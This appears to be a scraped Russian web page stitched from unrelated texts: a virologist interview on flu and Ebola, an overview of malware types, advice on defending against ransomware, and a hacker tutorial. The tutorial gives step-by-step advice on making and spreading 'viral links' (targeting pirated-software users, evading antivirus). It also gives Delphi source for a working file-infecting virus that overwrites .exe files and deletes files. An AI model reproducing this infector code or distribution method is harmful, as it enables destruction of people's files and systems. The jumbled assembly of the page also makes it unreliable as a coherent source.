Как отправить вирус своему врагу
Когда нам хорошо, вирусу тоже неплохо
Все уже привыкли к тому, что эпидемия гриппа — абсолютно сезонная история, угрожает осенью и весной. А куда же грипп испаряется летом? Никуда.
— Мы его носим в себе. Вирус вызывает не только болезнь, он вызывает еще и скрытую, латентную форму инфекции. Когда вам хорошо, то и вирусу хорошо — это очень удобная и обоюдовыгодная ситуация, потому что есть гарантия не заразиться и не заболеть от этого вируса, — говорит вирусолог и предостерегает: — Можем ли мы ждать лихорадку Эбола? Конечно, можем. А почему нет? Кстати, она у нас бывала, но мы ее перехватили в аэропорту.
— Для кого вакцина хорошо? Не для того, кто заразился, а для того, кто собирается ехать в опасные по этим заболеваниям районы: врачам, техникам, инженерам, рабочим. Почему Эбола вдруг всколыхнулась? Мы с вами и слова такого никогда не произносили, — говорит Виктор Зуев. — Вирус лихорадки Эбола был характерен для регионов Западной Африки, где были богатые залежи меди. Когда медные рудники начали разрабатывать, в регион приехали непривитые люди. Туда, обратно — и активировали очаг. Кто-то привез в одну страну, кто-то в другую, третью — и пошел разговор о лихорадке Эбола.
Ученый объясняет: нам угрожают вирусы, причем угрожают по нашей собственной вине. Приводит пример: лет 40 назад весь наш отдых сводился либо к отпуску в деревне, на даче, либо, если очень повезло, к отдыху в Крыму или на Кавказе. Теперь же никого не удивить путешествиями на Мальдивы или в Доминикану.
— Мы с вами свидетели и участники перемешивания огромных человеческих масс. Вместе с этими массами везем всё, что есть в организме. А мы с вами, между прочим, не стерильны ни по бактериям, ни по вирусам. Существует такое понятие, как природно-очаговая инфекция. Если вы хотите поехать в тайгу, то вам надо привиться от клещевого энцефалита. Но дело в том, что в связи с колоссальной миграцией населения границы начинают размываться — вы можете подхватить клещевой энцефалит и в Подмосковье. Так что за все издержки цивилизации надо платить. Добро и зло не приходят поодиночке.
— Где Волга и где Нил? А это птицы приносят. Больная птица далеко не улетит, это летят здоровые птицы, которые являются вирусоносителями, — замечает вирусолог.
Угроза супервируса
— Надо смотреть правде в глаза. А может ли быть? Я всегда отвечаю конкретно: в жизни всё может быть. Не надо прятать голову в песок и изображать, что кругом всё замечательно. Всё может быть, и нужно быть готовым к этому. Если вы едете в какую-то страну с серьезным набором болезней, например, желтой лихорадкой, нужно подготовиться к поездке. Местные жители реже болеют, оказываются более устойчивыми к возбудителю. Встречаясь с небольшими дозами этого возбудителя, вырабатывается иммунитет, — говорит Виктор Зуев, но на всякий случай уточняет: вирус, против которого мы ничего не сможет противопоставить, — это выдумка.
Может ли человечество выкосить какой-то неведомый вирус, однажды высказалась и вирусолог-иммунолог Елена Карева: если бы это было возможно, за миллионы лет неведомый вирус уже бы проявился.
— Вряд ли человек сможет изобрести здесь что-то сам: он учится у природы, а придумать то, чего еще не было, очень и очень сложно. Так что и вероятность того, что человечество выкосит какой-нибудь новый и одинаково опасный для всех вирус, минимальна, —отмечала Елена Карева.
— Есть такое выражение: инфекционные болезни, о которых забывают, потом начинают мстить за эту забывчивость, — говорит Виктор Зуев. — Бактерии чумы поражают не только людей, но и грызунов. Такие красавцы, как суслики, являются носителями бактерии чумы. В регионах, где живут суслики, стоят противочумные станции. Эти станции следят за уровнем зараженности грызунов. Не дай бог, если уровень начнет повышаться — большая вероятность, что чума перекинется на людей.
Так было с оспой, которую, к слову, победили. В какой-то момент от прививок, говорит вирусолог, стало погибать больше людей, чем собственно от оспы, которая входит в категорию особо опасных инфекций.
— Вас же не удивит, если я скажу, что у нас в доме корь бушует? Не удивит. Потому что у нас неблагополучно с корью из-за того, что противокоревые прививки стали не строго обязательными. У наших соседей, я имею в виду украинцев, вообще просто катастрофа с корью, — говорит ученый, которому несколько дней назад исполнилось 90 лет.
Случаются такие дни, когда охота насорить кому-нибудь скрытно, или же вы решили создать вирус, который будет красть данные, любые данные. Вообразим себя злыми хакерами, которые решили начать действовать. Давайте познаем это необъятное искусство.
Определение вируса
История компьютерных вирусов берет свое начало в 1983 году, когда Фред Коэн использовал его впервые.
Вирус - это вредоносный код, он направлен на захват управления вашими файлами, настройками. Создает копии самого себя, всячески захламляет персональный компьютер пользователя. Некоторые можно обнаружить сразу, когда другие скрываются в системе и паразитируют в ней. Часто их передача происходит с помощью сайтов, где размещен пиратский контент, порно-сайтов и других. Бывает, скачивание вирусов происходит при желании скачать мод или чит. Довольно просто распространить вирус, если у вас готова вирусная ссылка.
Методы воздействия вредоносных программ
К компьютерным вирусам относится множество вредоносных программ, однако не все они способны к "размножению":
- Черви. Заражают файлы на компьютере, это могут быть любые файлы, начиная от .exe и заканчивая загрузочными секторами. Передаются через чаты, программы для общения типа Skype, icq, через электронную почту.
- Троянские кони, или трояны. Лишены самостоятельной способности распространяться: они попадают на компьютер жертвы благодаря их авторам и третьим лицам.
- Руткит. Сборка различных программных утилит при проникновении на компьютер жертвы получает права суперпользователя, речь про UNIX-системы. Представляет собой многофункциональное средство для "заметания следов" при вторжении в систему с помощью снифферов, сканеров, кейлоггеров, троянских приложений. Способны заразить устройство на операционной системе Microsoft Windows. Захватывают таблицы вызовов и их функций, методы использования драйверов.
- Вымогатели. Такие вредоносные программы препятствуют входу пользователя на устройство путем принуждения к выкупу. Последние крупные события, связанные с программами-вымогателями, - WannaCry, Petya, Cerber, Cryptoblocker и Locky. Все они требовали за возвращение доступа в систему криптовалюту биткоин.
- Кейлоггер. Следит за вводом логинов и паролей на клавиатуре. Фиксирует все нажатия, а затем отсылает журнал действий на удаленный сервер, после чего злоумышленник использует эти данные на свое усмотрение.
- Снифферы. Анализирует данные с сетевой карты, записывает логи с помощью прослушивания, подключения сниффера при разрыве канала, ответвления сниффером копии трафика, а также через анализ побочных электромагнитных излучений, атак на канальном или сетевом уровне.
- Ботнет, или зомби-сети. Такая сеть представляет собой множество компьютеров, образующих одну сеть и зараженных вредоносной программой для получения доступа хакеру или иному злоумышленнику.
- Эксплойты. Этот вид вредоносного программного обеспечения может быть полезным для пиратов, ведь эксплойты вызываются ошибками в процессе разработки программного обеспечения. Так злоумышленник получает доступ к программе, а дальше и к системе пользователя, если так задумал хакер. У них есть отдельная классификация по уязвимостям: нулевой день, DoS, спуфинг или XXS.
Пути распространения
Вредоносный контент может попасть на устройство разными способами:
- Вирусная ссылка.
- Доступ к серверу или локальной сети, по которой будет проходить распространение вредоносного приложения.
- Выполнение программы, зараженной вирусом.
- Работа с приложениями пакета Microsoft Office, когда с помощью макровирусов документов вирус распространяется по всему персональному компьютеру пользователя.
- Просмотр вложений, пришедших с сообщениями электронной почты, а они оказались с инфицированными программами и документами.
- Запуск операционной системы с зараженного системного диска.
- Установка на компьютер заранее зараженной операционной системы.
Где могут прятаться вирусы
Когда вирусная ссылка сделана, а вы запустили программу, которая начинает скрытую работу на персональном компьютере, то некоторые вирусы и другие вредоносные программы способны на сокрытие своих данных в системе или в исполняемых файлах, расширение которых может быть следующего типа:
- .com, .exe - вы скачали какую-то программу, а там оказался вирус;
- .bat - командные файлы, содержащие определенные алгоритмы для операционной системы;
- .vbs - файлы программы на языке Visual Basic for Application;
- .scr - файлы программ скринсейверов, которые крадут данные с экрана устройства;
- .sys - файлы драйверов;
- .dll, .lib, .obj - файлы библиотек;
- .doc - документ Microsoft Word;
- .xls - документ Microsoft Excel;
- .mdb - документ Microsoft Access;
- .ppt - документ Power Point;
- .dot - шаблон приложений пакетам Microsoft Office.
Признаки
Любое заболевание или заражение протекает в скрытой фазе или в открытой, этот принцип присущ и вредоносному программному обеспечению:
- Устройство начало работать со сбоями, программы, которые работали раньше хорошо, вдруг стали тормозить или вылетать.
- Медленная работа устройства.
- Проблема с запуском операционной системы.
- Исчезновение файлов и каталогов или изменение их содержимого.
- Содержимое файла подвергается изменению.
- Изменение времени модификации файлов. Можно заметить, если в папке используется вид "список", или вы посмотрите на свойство элемента.
- Увеличение или уменьшение количества файлов на диске, и впоследствии увеличение или уменьшение объема доступной памяти.
- Оперативной памяти становится меньше из-за работы посторонних сервисов и программ.
- Показ шокирующих или иных изображений на экране без вмешательства пользователя.
- Странные звуковые сигналы.
Методы защиты
Самое время подумать о способах защиты от вторжения:
- Программные методы. К ним относятся антивирусы, файрволлы и другое защитное ПО.
- Аппаратные методы. Защита от постороннего вмешательства к портам или файлам устройства, непосредственно при доступе к "железу".
- Организационные методы защиты. Это дополнительные меры для сотрудников и иных лиц, которые могут иметь доступ к системе.
Как найти список вирусных ссылок? Благодаря Интернету можно скачать сервисы, например, от Dr.Web. Или воспользоваться специальным сервисом для показа всех возможных вредных ссылок. Там есть список на вирусные ссылки. Остается выбрать наиболее подходящий вариант.
Вирусная ссылка
Не забывайте, что использование вирусных программ преследуется по закону!
Приступаем к самому главному действию - к созданию вирусных ссылок и выяснению способов их распространения.
- Выбираем операционную систему для атаки. Чаще это - Microsoft Windows, так как она распространена больше, чем остальные системы, особенно если речь зашла о старых версиях. К тому же многие пользователи не обновляют операционные системы, оставляя их уязвимыми к атакам.
- Выбираем способ распространения. Как создать вирусную ссылку, которая не будет распространяться? Никак. Для этого можно запаковать ее в исполняющий файл, макрос в Microsoft Office, веб-скрипт.
- Узнать слабое место для атаки. Совет: если пользователь скачивает пиратский софт, обычно он выключает антивирус или не обращает на это внимания из-за наличия таблетки в репаке, так что это еще один способ для проникновения.
- Определяем функционал вашего вируса. Вы можете просто проверить антивирус на способность обнаружить ваш вирус, или же использовать вредоносную программу в более масштабных целях типа удаления файлов, просмотра сообщений и других действий.
- Для того чтобы что-то написать, придется выбрать язык. Язык можно использовать любой, а то и несколько, но в большей мере используется язык C и C++, для макровирусов есть Microsoft Office. Разобраться можно с помощью уроков в Интернете. Visual Basic - это среда разработки.
- Время для создания. На это может уйти много времени. Не забудьте о способах сокрытия вируса от антивирусных программ, иначе вашу программу быстро найдут и обезвредят. Не факт, что вы кому-то сильно навредите, так что спите спокойно. Однако помните, что за любой зловредный софт нужно нести ответственность! Узнайте больше о полиморфном коде.
- Посмотрите методы сокрытия кода.
- Проверьте вирус на работоспособность в виртуальной машине.
- Загрузите его в сеть и ждите первых "клиентов".
Вирусная ссылка для телефона создается примерно так же, но с устройствами на iOS придется помучиться, так как там хорошая система защиты, в отличие от "Андроида". Однако в последних версиях удалось поправить многие дыры в системе защиты. Не забывайте, что есть еще старые устройства, а зная "любовь" к созданию новых версий у сторонних разработчиков, большая часть андроид-устройств подвержена опасности.
С помощью вируса-вымогателя кибермошенникам удается зарабатывать до 2 млрд долларов в год. Помимо денежных потерь владельцы бизнеса несут ущерб из-за сбоя системы, снижения производительности и стресса. В целом получается слишком разорительно.
Представьте, что вы работаете на компьютере, отвечаете на письмо клиента и вдруг на мониторе появляется синий фон и на нем следующее сообщение:
«Компьютер заблокирован. Все ваши файлы зашифрованы. Дешифрование файлов будет стоить 0,076 биткойнов. Следуйте инструкции для оплаты:
1. Отправьте 0,076 биткойнов в биткойн-кошелек #XXX XX .
Каковы ваши дальнейшие действия? Вы будете паниковать, пытаться разблокировать компьютер? Пойдете на поводу мошенникам и постараетесь выкупить у них свои файлы?
Ransomware как совершенствующаяся опасность
Вирусы, вредоносные программы не являются для пользователей чем-то новым с тех пор, как в 2013 году хакеры обнаружили, что могут зашифровать ценные файлы и вымогать у жертв круглые суммы для дешифровки. Успешно эксплуатируя эту возможность, мошенники зарабатывают до 2 млрд долларов в год! Это деньги трудолюбивых владельцев бизнеса. Если прибавить к ним ущерб, который несут компании от сбоя системы, потери производительности и стресса, то получается слишком разорительно.
Ransomware распространяется мошенниками в различных вариантах. Некоторые ставят своей целью найти и зашифровать самые ценные файлы, другие — просто шифруют весь жесткий диск, что делает ситуацию гораздо более неприятной. И даже когда вы очищаете его полностью, файлы по-прежнему продолжают шифроваться. Если вы не готовы к атаке вируса-вымогателя, то это может парализовать всю работу компании. Вот почему управление ИТ-системами в компании очень важно .
Как распространяется вирус-вымогатель
Злоумышленники постоянно пробуют новые способы заражения компьютеров с помощью ransomware. В основе большинства атак лежит обман — вас принуждают к установке вредоносного ПО. Некоторые вирусы-вымогатели, используя уязвимости программ, даже не требуют одобрения установки, но такие атаки, как правило, краткосрочны, потому что ликвидируются после устранения уязвимостей.
Большинство вирусов-вымогателей распространяется по незнакомой электронной почте. Фишинговые письма максимально маскируются под официальную переписку, заставляя вас открыть вложение или перейти по ссылке. Как только вы это делаете, ваш компьютер заражается вирусом.
Вариацией фишинг-атак, набирающих популярность, является направленная фишинг-атака: вместо рассылки большого количества писем вымогатели отправляют сообщения, точно адаптированные под конкретного человека, часто используя информацию, полученную из открытых профилей в соцсетях. Злоумышленник может выступать в роли нового клиента или даже в роли подрядчика, с которым вы уже работаете.
Некоторые веб-сайты содержат вредоносный код, который использует уязвимости в вашем браузере и операционной системе или обманывает вас, заставляя согласиться на выкуп.
Ссылки на эти сайты могут быть встроены в фишинговые письма. Их также можно направлять с помощью текстовых ссылок, рекламных баннеров или всплывающих окон.
Иногда ransomware пользуется недостатками безопасности в операционных системах или приложениях, которые позволяют распространять и запускать файлы самостоятельно. Это может наносить разрушительное действие. Без необходимости в человеческом участии вирус мгновенно распространяется от компьютера к компьютеру через интернет.
Крупные технологические компании быстро ликвидируют эти дыры в безопасности, как только узнают о них. Это означает, что компании, которые отключают обновления и не пытаются усовершенствовать ИТ-систему, на сегодняшний день являются особенно уязвимыми для такого рода атак.
Как защититься от вируса-шифровальщика
Итак, мы уже поняли, что ransomware может нанести разрушительные действия и потому является дорогостоящим риском. Поэтому возникает закономерный вопрос: как сохранить систему в безопасности?
Подавляющее большинство атак вирусов-вымогателей направлено на то, чтобы обмануть кого-то, поэтому вы можете снизить риски, сделав информацию о ransomware частью тренинга по ИТ-безопасности.
Убедитесь, что любой сотрудник, который использует компьютер, должным образом предупрежден о подозрительных вложениях и ссылках в электронной почте. Удостоверьтесь, что люди, работающие в вашей компании, не забывают об опасности спама и незнакомых писем, особенно фишинговых писем, специально предназначенных для бизнеса или отдельных лиц.
По иронии судьбы владельцы высокотехнологичного бизнеса иногда становятся наиболее уязвимыми. Возможно, потому что они считают информацию о защите слишком очевидной. Не думайте, что то, что очевидно для вас, очевидно для всех в офисе — мошенники повышают уровень в своих атаках.
Вы можете просто выдать каждому сотруднику соответствующий документ и заставить поставить на нем подпись. Но это все равно что ничего. Гораздо эффективнее поговорить с работниками и убедиться, что они действительно осознают опасность и понимают, как ее предотвратить.
В 2017 году произошли одни из самых катастрофичных хакерских атак: вирусы WannaCry и NotPetya использовали одну и ту же уязвимость в операционной системе Windows. Эта уязвимость была исправлена Microsoft в марте — задолго до того, как эти атаки начались (в мае и июне). А значит, миллиарды долларов, которые потерял бизнес, можно было спасти благодаря простым действиям.
В ситуации домашнего офиса самый простой способ сохранить исправление вашей операционной системы — это просто оставить автоматическое обновление. Да, эти сообщения о перезагрузке компьютера сильно раздражают, но это не столь страшно по сравнению с потерей всей вашей работы.
Еще одна беда ПО, о которой многие не знают, — это заражение вирусом роутера. Если хакер управляет им, он может перенаправлять веб-браузер на вирусную страницу. Руководство по обновлению прошивки содержится в инструкции к роутеру.
Ничто не заставит вас платить деньги вымогателю, если у вас есть резервная копия со всей жизненно важной информацией. Понятно, что все равно вы не сможете перетащить на диск всю информацию и всегда останется то, что имеет реальную стоимость. Поэтому не стоит экономить на обучении персонала только потому, что у вас есть резервные копии. Но это позволит вам минимизировать проблемы.
Для фрилансеров, консультантов, людей, завязанных на домашнем офисе, для хранения файлов будет достаточно платного облачного хранилища. Таким образом, вы просто сохраняете все важные рабочие документы в папке, которая синхронизируется с облаком.
Когда в офисе более одного компьютера, есть ключевой фактор, определяющий, насколько тяжело вам причинить вред, — объем информации, которую можно зашифровать. Чем больше файлов и жестких дисков вирус-шифровальщик затронет, тем больше времени потребуется на восстановление данных из резервных копий и тем дольше бизнес будет простаивать.
Сотрудникам не нужна учетная запись с доступом ко всей информации. Им достаточно учетной записи, которая дает возможность выполнять свою работу.
Восстановление после атаки
Если у вас есть резервные копии и налажен процесс восстановления информации, вы быстро справитесь с проблемой.
Нужно ли платить выкуп? Нет. Почему?
Киберпреступники обращают внимание на то, откуда к ним идут деньги. Если вы выполните их требования, они снова попытаются вас взломать. Как клиент, готовый платить, вы становитесь для них выгодной целью. Тот факт, что вы платите за выкуп чужим людям, чтобы вернуть свои данные, как бы сигнализирует о том, что в целом безопасность ИТ-системы в вашей компании обеспечена не на 100%. Киберпреступники обмениваются этой информацией или продают ее друг другу .
- Это плохая карма
Перечисление денег преступникам делает хуже жизнь всех, кто пытается зарабатывать честным трудом. Потому что единственная причина, по которой мошенники не прекращают свою черную работу, — это потоки денег, поступающие от растерянных жертв. Не становитесь частью порочной системы.
- Есть большая вероятность, что это не сработает
Поймите, что для мошенников вы находитесь вне поля контроля. Вы рискуете потерять не только деньги, но и время, эффективность, которую могли бы инвестировать в работу .
После восстановления файлов перейдите к работе над ошибками, чтобы понять суть проблемы. Открывали ли сотрудники фишинговое электронное письмо? Не кликнули ли они на баннер с вирусом? Может быть, есть сложности с ПО или операционной системой? Как бы то ни было, вам нужно сделать все, чтобы случившееся не повторилось.
Если речь идет о человеческом факторе, убедитесь, что все в офисе проинформированы о том, как произошла атака. Есть высокая вероятность того, что персонал столкнется с подобными атаками в будущем. Убедитесь, что все знают, на что обращать внимание.
Плохая идея — искать и назначать виновных, даже если вас сильно раздражает то, что кто-то открыл фишинговое письмо. Это создает препятствие на пути к честному осознанию произошедшего. К тому же это усложняет коммуникации. Все, что действительно нужно в этой ситуации, — это информированность персонала и грамотные специалисты, готовые взять на себя контроль за ИТ-системой.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также: